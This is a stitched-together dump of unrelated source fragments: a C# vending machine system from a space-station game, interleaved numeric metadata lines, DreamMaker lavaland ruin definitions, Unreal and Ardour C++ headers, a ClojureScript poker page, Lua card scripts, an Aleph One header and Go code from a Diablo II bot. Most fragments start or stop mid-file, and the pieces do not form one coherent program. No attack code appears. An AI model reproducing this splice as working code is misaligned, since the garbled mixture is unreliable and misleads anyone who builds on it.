(TryComp(uid, out SpeakOnUIClosedComponent? speakComponent)) _speakOn.TrySetFlag((uid, speakComponent)); Dirty(uid, vendComponent); UpdateUI((uid, vendComponent)); TryUpdateVisualState((uid, vendComponent)); Audio.PlayPvs(vendComponent.SoundVend, uid); //starlight } public void Deny(Entity<VendingMachineComponent?> entity, EntityUid? user = null) { if (!Resolve(entity.Owner, ref entity.Comp)) return; if (entity.Comp.Denying) return; entity.Comp.DenyEnd = Timing.CurTime + entity.Comp.DenyDelay; Audio.PlayPredicted(entity.Comp.SoundDeny, entity.Owner, user, AudioParams.Default.WithVolume(-2f)); TryUpdateVisualState(entity); Dirty(entity); } protected virtual void UpdateUI(Entity<VendingMachineComponent?> entity) { } /// <summary> /// Tries to update the visuals of the component based on its current state. /// </summary> public void TryUpdateVisualState(Entity<VendingMachineComponent?> entity) { if (!Resolve(entity.Owner, ref entity.Comp)) return; var finalState = VendingMachineVisualState.Normal; if (entity.Comp.Broken) { finalState = VendingMachineVisualState.Broken; } else if (entity.Comp.Ejecting) { finalState = VendingMachineVisualState.Eject; } else if (entity.Comp.Denying) { finalState = VendingMachineVisualState.Deny; } else if (!_receiver.IsPowered(entity.Owner)) { finalState = VendingMachineVisualState.Off; } // TODO: You know this should really live on the client with netsync off because client knows the state. if (Light.TryGetLight(entity.Owner, out var pointlight)) { var lightEnabled = finalState != VendingMachineVisualState.Broken && finalState != VendingMachineVisualState.Off; Light.SetEnabled(entity.Owner, lightEnabled, pointlight); } _appearanceSystem.SetData(entity.Owner, VendingMachineVisuals.VisualState, finalState); } /// <summary> /// Checks whether the user is authorized to use the vending machine, then ejects the provided item if true /// </summary> /// <param name="uid"></param> /// <param name="sender">Entity that is trying to use the vending machine</param> /// <param name="type">The type of inventory the item is from</param> /// <param name="itemId">The prototype ID of the item</param> /// <param name="component"></param> public virtual void AuthorizedVend(EntityUid uid, EntityUid sender, InventoryType type, string itemId, VendingMachineComponent component) // Starlight-edit { if (IsAuthorized(uid, sender, component)) { TryEjectVendorItem(uid, type, itemId, component.CanShoot, sender, component); } } public void RestockInventoryFromPrototype(EntityUid uid, VendingMachineComponent? component = null, float restockQuality = 1f) { if (!Resolve(uid, ref component)) { return; } if (!PrototypeManager.TryIndex(component.PackPrototypeId, out VendingMachineInventoryPrototype? packPrototype)) return; AddInventoryFromPrototype(uid, packPrototype.StartingInventory, InventoryType.Regular, component, restockQuality); AddInventoryFromPrototype(uid, packPrototype.EmaggedInventory, InventoryType.Emagged, component, restockQuality); AddInventoryFromPrototype(uid, packPrototype.ContrabandInventory, InventoryType.Contraband, component, restockQuality); Dirty(uid, component); } private void OnEmagged(EntityUid uid, VendingMachineComponent component, ref GotEmaggedEvent args) { if (!_emag.CompareFlag(args.Type, EmagType.Interaction)) return; if (_emag.CheckFlag(uid, EmagType.Interaction)) return; // only emag if there are emag-only items args.Handled = component.EmaggedInventory.Count > 0; } /// <summary> /// Returns all of the vending machine's inventory. Only includes emagged and contraband inventories if /// <see cref="EmaggedComponent"/> with the EmagType.Interaction flag exists and <see cref="VendingMachineComponent.Contraband"/> is true /// are <c>true</c> respectively. /// </summary> /// <param name="uid"></param> /// <param name="component"></param> /// <returns></returns> public List<VendingMachineInventoryEntry> GetAllInventory(EntityUid uid, VendingMachineComponent? component = null) { if (!Resolve(uid, ref component)) return new(); var inventory = new List<VendingMachineInventoryEntry>(component.Inventory.Values); if (_emag.CheckFlag(uid, EmagType.Interaction)) inventory.AddRange(component.EmaggedInventory.Values); if (component.Contraband) inventory.AddRange(component.ContrabandInventory.Values); return inventory; } public List<VendingMachineInventoryEntry> GetAvailableInventory(EntityUid uid, VendingMachineComponent? component = null) { if (!Resolve(uid, ref component)) return new(); return GetAllInventory(uid, component).Where(_ => _.Amount > 0).ToList(); } private void AddInventoryFromPrototype(EntityUid uid, Dictionary<string, uint>? entries, InventoryType type, VendingMachineComponent? component = null, float restockQuality = 1.0f) { if (!Resolve(uid, ref component) || entries == null) { return; } Dictionary<string, VendingMachineInventoryEntry> inventory; switch (type) { case InventoryType.Regular: inventory = component.Inventory; break; case InventoryType.Emagged: inventory = component.EmaggedInventory; break; case InventoryType.Contraband: inventory = component.ContrabandInventory; break; default: return; } foreach (var (id, amount) in entries) { if (PrototypeManager.HasIndex<EntityPrototype>(id)) { var restock = amount; var chanceOfMissingStock = 1 - restockQuality; var result = Randomizer.NextFloat(0, 1); if (result < chanceOfMissingStock) { restock = (uint) Math.Floor(amount * result / chanceOfMissingStock); } if (inventory.TryGetValue(id, out var entry)) // Prevent a machine's stock from going over three times // the prototype's normal amount. This is an arbitrary // number and meant to be a convenience for someone // restocking a machine who doesn't want to force vend out // all the items just to restock one empty slot without // losing the rest of the restock. entry.Amount = Math.Min(entry.Amount + amount, 3 * restock); else inventory.Add(id, new VendingMachineInventoryEntry(type, id, restock)); } } } }
1
0.965444
1
0.965444
game-dev
MEDIA
0.938646
game-dev
0.953471
1
0.953471
Citadel-Station-13/Citadel-Station-13
10,572
code/datums/ruins/lavaland.dm
// Hey! Listen! Update \config\lavaruinblacklist.txt with your new ruins! /datum/map_template/ruin/lavaland prefix = "_maps/RandomRuins/LavaRuins/" /datum/map_template/ruin/lavaland/biodome cost = 5 allow_duplicates = FALSE /datum/map_template/ruin/lavaland/biodome/beach name = "Biodome Beach" id = "biodome-beach" description = "Seemingly plucked from a tropical destination, this beach is calm and cool, with the salty waves roaring softly in the background. \ Comes with a rustic wooden bar and suicidal bartender." suffix = "lavaland_biodome_beach.dmm" /datum/map_template/ruin/lavaland/biodome/winter name = "Biodome Winter" id = "biodome-winter" description = "For those getaways where you want to get back to nature, but you don't want to leave the fortified military compound where you spend your days. \ Includes a unique(*) laser pistol display case, and the recently introduced I.C.E(tm)." suffix = "lavaland_surface_biodome_winter.dmm" /datum/map_template/ruin/lavaland/biodome/clown name = "Biodome Clown Planet" id = "biodome-clown" description = "WELCOME TO CLOWN PLANET! HONK HONK HONK etc.!" suffix = "lavaland_biodome_clown_planet.dmm" /datum/map_template/ruin/lavaland/cube name = "The Wishgranter Cube" id = "wishgranter-cube" description = "Nothing good can come from this. Learn from their mistakes and turn around." suffix = "lavaland_surface_cube.dmm" cost = 10 allow_duplicates = FALSE /datum/map_template/ruin/lavaland/library name = "Lavaland Library" id = "llibrary" description = "A once grand library, now lost to the confines of lavaland." suffix = "lavaland_surface_library.dmm" cost = 5 allow_duplicates = FALSE /datum/map_template/ruin/lavaland/seed_vault name = "Seed Vault" id = "seed-vault" description = "The creators of these vaults were a highly advanced and benevolent race, and launched many into the stars, hoping to aid fledgling civilizations. \ However, all the inhabitants seem to do is grow drugs and guns." suffix = "lavaland_surface_seed_vault.dmm" cost = 10 allow_duplicates = FALSE /datum/map_template/ruin/lavaland/ash_walker name = "Ash Walker Nest" id = "ash-walker" description = "A race of unbreathing lizards live here, that run faster than a human can, worship a broken dead city, and are capable of reproducing by something involving tentacles? \ Probably best to stay clear." suffix = "lavaland_surface_ash_walker1.dmm" cost = 20 allow_duplicates = FALSE /datum/map_template/ruin/lavaland/syndicate_base name = "Syndicate Lava Base" id = "lava-base" description = "A secret base researching illegal bioweapons, it is closely guarded by an elite team of syndicate agents." suffix = "lavaland_surface_syndicate_base1.dmm" cost = 20 allow_duplicates = FALSE /datum/map_template/ruin/lavaland/free_golem name = "Free Golem Ship" id = "golem-ship" description = "Lumbering humanoids, made out of precious metals, move inside this ship. They frequently leave to mine more minerals, which they somehow turn into more of them. \ Seem very intent on research and individual liberty, and also geology based naming?" cost = 20 prefix = "_maps/RandomRuins/AnywhereRuins/" suffix = "golem_ship.dmm" allow_duplicates = FALSE /datum/map_template/ruin/lavaland/animal_hospital name = "Animal Hospital" id = "animal-hospital" description = "Rats with cancer do not live very long. And the ones that wake up from cryostasis seem to commit suicide out of boredom." cost = 5 suffix = "lavaland_surface_animal_hospital.dmm" allow_duplicates = FALSE /datum/map_template/ruin/lavaland/hotsprings name = "Hot Springs" id = "lhotsprings" description = "Just relax and take a dip! Lavaland's finest hot springs await!" suffix = "lavaland_surface_hotsprings.dmm" /datum/map_template/ruin/lavaland/engioutpost name = "Engineer Outpost" id = "lengioutpost" description = "Blown up by an unfortunate accident." suffix = "lavaland_surface_engioutpost.dmm" cost = 10 allow_duplicates = FALSE /datum/map_template/ruin/lavaland/sin cost = 10 allow_duplicates = FALSE /datum/map_template/ruin/lavaland/sin/envy name = "Ruin of Envy" id = "envy" description = "When you get what they have, then you'll finally be happy." suffix = "lavaland_surface_envy.dmm" /datum/map_template/ruin/lavaland/sin/gluttony name = "Ruin of Gluttony" id = "gluttony" description = "If you eat enough, then eating will be all that you do." suffix = "lavaland_surface_gluttony.dmm" /datum/map_template/ruin/lavaland/sin/greed name = "Ruin of Greed" id = "greed" description = "Sure you don't need magical powers, but you WANT them, and \ that's what's important." suffix = "lavaland_surface_greed.dmm" /datum/map_template/ruin/lavaland/sin/pride name = "Ruin of Pride" id = "pride" description = "Wormhole lifebelts are for LOSERS, who you are better than." suffix = "lavaland_surface_pride.dmm" /datum/map_template/ruin/lavaland/sin/sloth name = "Ruin of Sloth" id = "sloth" description = "..." suffix = "lavaland_surface_sloth.dmm" // Generates nothing but atmos runtimes and salt /datum/map_template/ruin/lavaland/sin/lust name = "Ruin of Lust" id = "llust" description = "Not exactly what you expected." suffix = "lavaland_surface_lust.dmm" /datum/map_template/ruin/lavaland/sin/wrath name = "Ruin of Wrath" id = "lwrath" description = "You'll fight and fight and just keep fighting." suffix = "lavaland_surface_wrath.dmm" /datum/map_template/ruin/lavaland/bathhouse name = "Bath House" id = "lbathhouse" description = "A taste of paradise, locked in the hell of Lavaland." suffix = "lavaland_surface_bathhouse.dmm" /datum/map_template/ruin/lavaland/ratvar name = "Dead God" id = "ratvar" description = "Ratvar's final resting place." suffix = "lavaland_surface_dead_ratvar.dmm" allow_duplicates = FALSE /datum/map_template/ruin/lavaland/hierophant name = "Hierophant's Arena" id = "hierophant" description = "A strange, square chunk of metal of massive size. Inside awaits only death and many, many squares." suffix = "lavaland_surface_hierophant.dmm" always_place = TRUE allow_duplicates = FALSE /datum/map_template/ruin/lavaland/blood_drunk_miner name = "Blood-Drunk Miner" description = "An insane, beastly miner contemplating stone tiles..." always_place = TRUE allow_duplicates = FALSE id = "blooddrunk" /datum/map_template/ruin/lavaland/blood_drunk_miner/New() if(prob(25)) suffix = "lavaland_surface_blooddrunk1.dmm" else if(prob(34)) suffix = "lavaland_surface_blooddrunk2.dmm" else if(prob(50)) suffix = "lavaland_surface_blooddrunk3.dmm" else suffix = "lavaland_surface_mining_site.dmm" . = ..() /datum/map_template/ruin/lavaland/ufo_crash name = "UFO Crash" id = "ufo-crash" description = "Turns out that keeping your abductees unconscious is really important. Who knew?" suffix = "lavaland_surface_ufo_crash.dmm" cost = 5 /* Replaced with Alien Nest Ruins /datum/map_template/ruin/lavaland/xeno_nest name = "Xenomorph Nest" id = "xeno-nest" description = "These xenomorphs got bored of horrifically slaughtering people on space stations, and have settled down on a nice lava filled hellscape to focus on what's really important in life. \ Quality memes." suffix = "lavaland_surface_xeno_nest.dmm" cost = 20 */ /datum/map_template/ruin/lavaland/alien_nest name = "Alien Nest" id = "alien-nest" description = "Not even Necropolis is safe from alien infestation. The competition for hosts has locked the legion and aliens in an endless conflict that can only be resolved by a PKA." suffix = "lavaland_surface_alien_nest.dmm" cost = 10 allow_duplicates = FALSE /datum/map_template/ruin/lavaland/fountain name = "Fountain Hall" id = "fountain" description = "The fountain has a warning on the side. DANGER: May have undeclared side effects that only become obvious when implemented." prefix = "_maps/RandomRuins/AnywhereRuins/" suffix = "fountain_hall.dmm" cost = 5 allow_duplicates = FALSE /datum/map_template/ruin/lavaland/survivalcapsule name = "Survival Capsule Ruins" id = "survivalcapsule" description = "What was once sanctuary to the common miner, is now their tomb." suffix = "lavaland_surface_survivalpod.dmm" cost = 5 /datum/map_template/ruin/lavaland/pizza name = "Ruined Pizza Party" id = "pizza" description = "Little Timmy's birthday pizza-bash took a turn for the worse when a bluespace anomaly passed by." suffix = "lavaland_surface_pizzaparty.dmm" allow_duplicates = FALSE cost = 5 /datum/map_template/ruin/lavaland/cultaltar name = "Summoning Ritual" id = "cultaltar" description = "A place of vile worship, the scrawling of blood in the middle glowing eerily. A demonic laugh echoes throughout the caverns" suffix = "lavaland_surface_cultaltar.dmm" allow_duplicates = FALSE cost = 5 /datum/map_template/ruin/lavaland/hermit name = "Makeshift Shelter" id = "hermitcave" description = "A place of shelter for a lone hermit, scraping by to live another day." suffix = "lavaland_surface_hermit.dmm" allow_duplicates = FALSE cost = 10 /datum/map_template/ruin/lavaland/swarmer_boss name = "Crashed Shuttle" id = "swarmerboss" description = "A Syndicate shuttle had an unfortunate stowaway..." suffix = "lavaland_surface_swarmer_crash.dmm" allow_duplicates = FALSE cost = 20 /datum/map_template/ruin/lavaland/miningripley name = "Ripley" id = "ripley" description = "A heavily-damaged mining ripley, property of a very unfortunate miner. You might have to do a bit of work to fix this thing up." suffix = "lavaland_surface_random_ripley.dmm" allow_duplicates = FALSE cost = 5 /datum/map_template/ruin/lavaland/dark_wizards name = "Dark Wizard Altar" id = "dark_wizards" description = "A ruin with dark wizards. What secret do they guard?" suffix = "lavaland_surface_wizard.dmm" cost = 5 /datum/map_template/ruin/lavaland/puzzle name = "Ancient Puzzle" id = "puzzle" description = "Mystery to be solved." suffix = "lavaland_surface_puzzle.dmm" cost = 5 /datum/map_template/ruin/lavaland/elite_tumor name = "Pulsating Tumor" id = "tumor" description = "A strange tumor which houses a powerful beast..." suffix = "lavaland_surface_elite_tumor.dmm" cost = 5 placement_weight = 3 always_place = TRUE allow_duplicates = TRUE /datum/map_template/ruin/lavaland/elephant_graveyard name = "Elephant Graveyard" id = "Graveyard" description = "An abandoned graveyard, calling to those unable to continue." suffix = "lavaland_surface_elephant_graveyard.dmm" allow_duplicates = FALSE cost = 10
1
0.817828
1
0.817828
game-dev
MEDIA
0.932789
game-dev
0.83809
1
0.83809
Kein/Altar
3,419
Plugins/SteeringBehaviors/Source/SteeringBehaviors/Public/SteeringBehavior_PathFollowingComponent.h
#pragma once #include "CoreMinimal.h" #include "PawnAvoidanceBox.h" #include "PawnAvoidancePersistence.h" #include "SkipPathSegmentAreaConfiguration.h" #include "SteeringBehavior.h" #include "SteeringBehavior_PathFollowingComponent.generated.h" class APawn; class UCharacterMovementComponent; class UPathFollowingComponent; class UPawnSpatialIndexSubsystem; UCLASS(Blueprintable, CollapseCategories, EditInlineNew) class STEERINGBEHAVIORS_API USteeringBehavior_PathFollowingComponent : public USteeringBehavior { GENERATED_BODY() public: private: UPROPERTY(EditAnywhere, meta=(AllowPrivateAccess=true)) double MinInterest; UPROPERTY(EditAnywhere, meta=(AllowPrivateAccess=true)) double DefaultLookAheadDistance; UPROPERTY(BlueprintReadWrite, EditAnywhere, meta=(AllowPrivateAccess=true)) int32 MaxLookAheadLocationCount; UPROPERTY(EditAnywhere, meta=(AllowPrivateAccess=true)) double LookAheadMaxTrajectoryAngle; UPROPERTY(EditAnywhere, meta=(AllowPrivateAccess=true)) double FurthestLookAheadLocationInterest; UPROPERTY(BlueprintReadWrite, EditAnywhere, meta=(AllowPrivateAccess=true)) bool bStopAtDestination; UPROPERTY(BlueprintReadWrite, EditAnywhere, meta=(AllowPrivateAccess=true)) bool bCalculateTurnRate; UPROPERTY(EditAnywhere, meta=(AllowPrivateAccess=true)) double AvoidanceDetectionDistance; UPROPERTY(EditAnywhere, meta=(AllowPrivateAccess=true)) double AvoidanceTimeDifferentVelocities; UPROPERTY(EditAnywhere, meta=(AllowPrivateAccess=true)) double AvoidanceTimeSimilarVelocities; UPROPERTY(BlueprintReadWrite, EditAnywhere, meta=(AllowPrivateAccess=true)) bool bAvoidanceIgnoreBlockingPawns; UPROPERTY(BlueprintReadWrite, EditAnywhere, meta=(AllowPrivateAccess=true)) bool bCanGiveWay; UPROPERTY(EditAnywhere, meta=(AllowPrivateAccess=true)) double GiveWayDuration; UPROPERTY(EditAnywhere, meta=(AllowPrivateAccess=true)) double GiveWayPathLength2D; UPROPERTY(EditAnywhere, meta=(AllowPrivateAccess=true)) double StopGiveWayPathLength2D; UPROPERTY(EditAnywhere, meta=(AllowPrivateAccess=true)) double BacktrackPathLength2D; UPROPERTY(BlueprintReadWrite, EditAnywhere, meta=(AllowPrivateAccess=true)) TArray<FSkipPathSegmentAreaConfiguration> SkipPathSegmentAreaConfigurations; UPROPERTY(BlueprintReadWrite, EditAnywhere, Instanced, Transient, meta=(AllowPrivateAccess=true)) UCharacterMovementComponent* CharacterMovementComponent; UPROPERTY(BlueprintReadWrite, EditAnywhere, Export, Transient, meta=(AllowPrivateAccess=true)) TWeakObjectPtr<UPathFollowingComponent> PathFollowingComponent; UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true)) UPawnSpatialIndexSubsystem* PawnSpatialIndexSubsystem; UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true)) TArray<APawn*> PawnsDetected; UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true)) TArray<FPawnAvoidanceBox> PawnAvoidanceBoxes; UPROPERTY(BlueprintReadWrite, EditAnywhere, Transient, meta=(AllowPrivateAccess=true)) TMap<APawn*, FPawnAvoidancePersistence> PawnsAvoidancePersistence; public: USteeringBehavior_PathFollowingComponent(); };
1
0.973184
1
0.973184
game-dev
MEDIA
0.791557
game-dev
0.694812
1
0.694812
Ardour/ardour
3,561
libs/surfaces/maschine2/m2controls.h
/* * Copyright (C) 2016 Robin Gareus <robin@gareus.org> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #ifndef _ardour_surfaces_m2controls_h_ #define _ardour_surfaces_m2controls_h_ #include <map> #include "m2_button.h" #include "m2_encoder.h" #include "m2_pad.h" namespace ArdourSurface { /** Abstraction for various variants: * - NI Maschine Mikro * - NI Maschine * - NI Maschine Studio */ class M2Contols { public: M2Contols () {} virtual ~M2Contols () {} typedef enum { ModNone = 0, ModShift, } Modifier; typedef enum { /* Transport */ BtnRestart, BtnStepLeft, BtnStepRight, BtnGrid, BtnPlay, BtnRec, BtnErase, BtnShift, /* modes */ BtnScene, BtnPattern, BtnPadMode, BtnNavigate, // aka. "view" on Mikro BtnDuplicate, BtnSelect, BtnSolo, BtnMute, /* global */ #if 0 BtnArrange, // Studio only BtnMix, // Studio only #endif BtnControl, // Studio: "Channel" BtnStep, // Studio: "Plug-In" BtnBrowse, BtnSampling, BtnSelLeft, BtnSelRight, BtnAll, BtnAuto, /* master */ BtnVolume, BtnSwing, BtnTempo, BtnNavLeft, BtnNavRight, BtnEnter, BtnNoteRepeat, // Tap BtnWheel, // Encoder Push /* Selectors above display */ BtnTop0, BtnTop1, BtnTop2, BtnTop3, // Mikro F1, F2, F3 BtnTop4, BtnTop5, BtnTop6, BtnTop7, /* Maschine & Studio "Groups" */ BtnGroupA, BtnGroupB, BtnGroupC, BtnGroupD, BtnGroupE, BtnGroupF, BtnGroupG, BtnGroupH, #if 1 // Studio only -- Edit BtnCopy, BtnPaste, BtnNote, BtnNudge, BtnUndo, BtnRedo, BtnQuantize, BtnClear, BtnIn1, BtnIn2, BtnIn3, BtnIn4, BtnMst, BtnGrp, BtnSnd, BtnCue, #endif } PhysicalButtonId; typedef enum { Play, Rec, Loop, Metronom, GotoStart, GotoEnd, JumpBackward, JumpForward, FastRewind, FastForward, Grid, Delete, Undo, Redo, Save, EncoderWheel, // multi-purpose MasterVolume, MasterTempo, Scene, Pattern, PadMode, Navigate, Duplicate, Select, Solo, Mute, Panic } SemanticButtonId; typedef std::map <PhysicalButtonId, M2ButtonInterface*> PhysicalMap; typedef std::map <SemanticButtonId, M2ButtonInterface*> SematicMap; virtual M2ButtonInterface* button (PhysicalButtonId id, Modifier m) { if (id == BtnShift) { return &_shift; } return &_dummy_button; } virtual M2ButtonInterface* button (SemanticButtonId id) { return &_dummy_button; } virtual M2EncoderInterface* encoder (unsigned int id) { return &_dummy_encoder; } virtual M2PadInterface* pad (unsigned int id) { return &_dummy_pad; } protected: M2ButtonInterface _dummy_button; M2EncoderInterface _dummy_encoder; M2PadInterface _dummy_pad; M2ToggleHoldButton _shift; }; } /* namespace */ #endif /* _ardour_surfaces_m2controls_h_*/
1
0.640502
1
0.640502
game-dev
MEDIA
0.686614
game-dev
0.784968
1
0.784968
DogLooksGood/holdem
5,421
src/cljs/poker/pages/game.cljs
(ns poker.pages.game "Page for game scene." (:require [reagent.core :as r] [poker.utils :refer [rotate-by]] [re-frame.core :as re-frame] [poker.components.table :refer [table]] [poker.components.panel :refer [panel]] [poker.components.help :refer [help]] [poker.components.history-popup :refer [history-popup]] [poker.logger :as log] [poker.mobile :refer [setup-for-mobile]] [poker.subs.game])) ;; utilities (defn sort-players-for-display "Return sorted player list in tables' order." [players current-player-id table-size] (let [current-seat (get-in players [current-player-id :seat]) seats (cond->> (range 1 (inc table-size)) current-seat (rotate-by #(= current-seat %))) seat->player (->> players (vals) (map (juxt :seat identity)) (into {})) players-on-seat (->> seats (map #(get seat->player % {:seat %})))] players-on-seat)) (defn player-with-last-message "Add last-message to each player." [messages {:keys [id], :as player}] (if-let [msg (some #(when (= id (:message/sender %)) %) messages)] (if (< (inst-ms (js/Date.)) (+ (:message/timestamp msg) 5000)) (assoc player :local/last-message msg) player) player)) (defn player-with-awards "Add award value to each player." [awards {:keys [id], :as player}] (if-let [award (get awards id)] (assoc player :local/award award) player)) ;; event handlers (defn on-leave [] (re-frame/dispatch [:lobby/leave-game])) (defn on-get-current-state [{:keys [game-id], :as props}] (log/info "on get current state" props) (re-frame/dispatch [:game/get-current-state {:game-id (uuid game-id)}])) ;; renderers (defn game-page [{:keys [game-id]}] ;; game-id comes from path params, convert it to uuid format. (let [game-id (uuid game-id) state* (re-frame/subscribe [:game/state game-id]) local-state* (re-frame/subscribe [:game/local-state game-id]) messages* (re-frame/subscribe [:chat/messages]) {player-id :player/id} @(re-frame/subscribe [:player/info]) popup* (r/atom nil) close-popup #(reset! popup* nil) toggle-popup (fn [] (swap! popup* #(case % :help :history :history :help :history)))] (setup-for-mobile) (fn [] (let [state (merge @state* @local-state*) {:keys [players opts street-bet pots community-cards status showdown winner-awards runner-cards-deals has-all-in? min-raise return-bets]} state {:keys [seats-count]} opts table-players (->> (sort-players-for-display players player-id seats-count) (mapv (comp (partial player-with-last-message @messages*) (partial player-with-awards winner-awards))))] (.log js/console "render game page:" state) [:div.h-full.w-full.flex.flex-col.select-none.overflow-hidden {:class (if has-all-in? ["bg-red-900"] ["bg-blue-900"])} [:div.absolute.top-0.left-0.p-4.text-gray-300.hover:text-red-400.cursor-pointer.z-40 {:on-click on-leave} "Exit"] [:div.absolute.top-0.right-0.p-4.text-gray-300.hover:text-green-400.cursor-pointer.z-40 {:on-click toggle-popup} "History/Help"] (when @popup* [:div.absolute.bottom-0.left-0.right-0.top-0.bg-blue-900.flex.flex-col.justify-start.items-stretch.text-gray-300.z-50.p-4.overflow-scroll (case @popup* :history [history-popup {:on-close close-popup, :on-toggle toggle-popup}] :help [help {:on-close close-popup, :on-toggle toggle-popup}])]) (when opts (let [current-player (get players player-id)] [:<> [table {:size seats-count, :players table-players, :pots pots, :runner-cards-deals runner-cards-deals, :community-cards community-cards, :status status, :awards winner-awards, :return-bets return-bets, :current-player (get players player-id), :has-all-in? has-all-in?, :showdown showdown}] [panel {:status status, :messages @messages*, :current-player current-player, :players (vals players), :opts opts, :pots pots, :min-raise min-raise, :street-bet street-bet}]]))]))))
1
0.974072
1
0.974072
game-dev
MEDIA
0.872856
game-dev
0.963481
1
0.963481
ProjectIgnis/CardScripts
1,970
unofficial/c511001283.lua
--Booby Trap E local s,id=GetID() function s.initial_effect(c) -- local e1=Effect.CreateEffect(c) e1:SetType(EFFECT_TYPE_ACTIVATE) e1:SetCode(EVENT_FREE_CHAIN) e1:SetCost(s.cost) e1:SetTarget(s.target) e1:SetOperation(s.activate) c:RegisterEffect(e1) local e2=Effect.CreateEffect(c) e2:SetType(EFFECT_TYPE_SINGLE) e2:SetProperty(EFFECT_FLAG_IGNORE_IMMUNE+EFFECT_FLAG_SET_AVAILABLE+EFFECT_FLAG_CANNOT_DISABLE) e2:SetCode(id) c:RegisterEffect(e2) end function s.cfilter1(c) return c:IsTrap() and c:IsType(TYPE_CONTINUOUS) and c:IsFacedown() and not c:IsHasEffect(id) and c:CheckActivateEffect(true,true,false)~=nil end function s.cfilter(c) return c:IsTrap() and c:IsType(TYPE_CONTINUOUS) and c:IsFacedown() and c:CheckActivateEffect(true,true,false)~=nil end function s.cost(e,tp,eg,ep,ev,re,r,rp,chk) e:SetLabel(1) if chk==0 then return true end end function s.target(e,tp,eg,ep,ev,re,r,rp,chk) local c=e:GetHandler() if chk==0 then if e:GetLabel()~=1 then return false end e:SetLabel(0) return Duel.IsExistingMatchingCard(s.cfilter1,tp,LOCATION_SZONE,0,1,e:GetHandler()) end Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_CONFIRM) local g=Duel.SelectMatchingCard(tp,s.cfilter,tp,LOCATION_SZONE,0,1,1,nil) Duel.ConfirmCards(1-tp,g) local tc=g:GetFirst() if not tc then return end local te,teg,tep,tev,tre,tr,trp=tc:CheckActivateEffect(true,true,true) e:SetLabelObject(te) Duel.ClearTargetCard() local tg=te:GetTarget() e:SetCategory(te:GetCategory()) e:SetProperty(te:GetProperty()) if tg and tg(e,tp,teg,tep,tev,tre,tr,trp,0) then tg(e,tp,teg,tep,tev,tre,tr,trp,1) end end function s.activate(e,tp,eg,ep,ev,re,r,rp) if not e:GetHandler():IsRelateToEffect(e) then return end local c=e:GetHandler() local te=e:GetLabelObject() local code=te:GetHandler():GetOriginalCode() c:CopyEffect(code,RESET_EVENT+RESETS_STANDARD-RESET_TURN_SET,1) if not te then return end local op=te:GetOperation() if op then op(e,tp,eg,ep,ev,re,r,rp) end end
1
0.936653
1
0.936653
game-dev
MEDIA
0.828313
game-dev
0.960007
1
0.960007
Aleph-One-Marathon/alephone
2,553
Source_Files/Misc/vbl.h
#ifndef __VBL_H #define __VBL_H /* vbl.h Copyright (C) 1991-2001 and beyond by Bungie Studios, Inc. and the "Aleph One" developers. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. This license is contained in the file "COPYING", which is included with this source code; it is available online at http://www.gnu.org/licenses/gpl.html Friday, September 29, 1995 3:24:01 PM- rdm created. Aug 12, 2000 (Loren Petrich): Using object-oriented file handler; revising definitions accordingly Jul 5, 2000 (Loren Petrich): Added XML support for setting up the keyboard */ // LP: CodeWarrior complains unless I give the full definition of these classes #include "FileHandler.h" /* ------------ prototypes/VBL.C */ bool setup_for_replay_from_file(FileSpecifier& File, uint32 map_checksum, bool prompt_to_export = false); bool setup_replay_from_random_resource(); void start_recording(void); void set_recording_saved_wad_data(const std::vector<byte>& saved_wad_data); bool find_replay_to_use(bool ask_user, FileSpecifier& File); void set_recording_header_data(short number_of_players, short level_number, uint32 map_checksum, short version, struct player_start_data *starts, struct game_data *game_information); void get_recording_header_data(short *number_of_players, short *level_number, uint32 *map_checksum, short *version, struct player_start_data *starts, struct game_data *game_information); bool input_controller(void); void increment_heartbeat_count(int value = 1); /* ------------ prototypes/VBL_MACINTOSH.C */ void initialize_keyboard_controller(void); /* true if it found it, false otherwise. always fills in vrefnum and dirid*/ bool get_recording_filedesc(FileSpecifier& File); void move_replay(void); uint32 parse_keymap(void); bool setup_replay_from_random_resource(uint32 map_checksum); #ifdef DEBUG_REPLAY struct recorded_flag { uint32 flag; int16 player_index; }; void open_stream_file(void); void write_flags(struct recorded_flag *buffer, int32 count); static void debug_stream_of_flags(uint32 action_flag, short player_index); static void close_stream_file(void); #endif #endif
1
0.926415
1
0.926415
game-dev
MEDIA
0.568876
game-dev
0.662256
1
0.662256
hectorgimenez/koolo
2,529
internal/action/vendor.go
package action import ( "log/slog" "github.com/hectorgimenez/koolo/internal/action/step" "github.com/hectorgimenez/koolo/internal/context" "github.com/hectorgimenez/koolo/internal/town" "github.com/lxn/win" "github.com/hectorgimenez/d2go/pkg/data/item" "github.com/hectorgimenez/d2go/pkg/data/npc" ) func VendorRefill(forceRefill, sellJunk bool) error { ctx := context.Get() ctx.SetLastAction("VendorRefill") if !forceRefill && !shouldVisitVendor() { return nil } ctx.Logger.Info("Visiting vendor...", slog.Bool("forceRefill", forceRefill)) vendorNPC := town.GetTownByArea(ctx.Data.PlayerUnit.Area).RefillNPC() if vendorNPC == npc.Drognan { _, needsBuy := town.ShouldBuyKeys() if needsBuy { vendorNPC = npc.Lysander } } err := InteractNPC(vendorNPC) if err != nil { return err } // Jamella trade button is the first one if vendorNPC == npc.Jamella { ctx.HID.KeySequence(win.VK_HOME, win.VK_RETURN) } else { ctx.HID.KeySequence(win.VK_HOME, win.VK_DOWN, win.VK_RETURN) } SwitchStashTab(4) ctx.RefreshGameData() town.BuyConsumables(forceRefill) if sellJunk { town.SellJunk() } return step.CloseAllMenus() } func BuyAtVendor(vendor npc.ID, 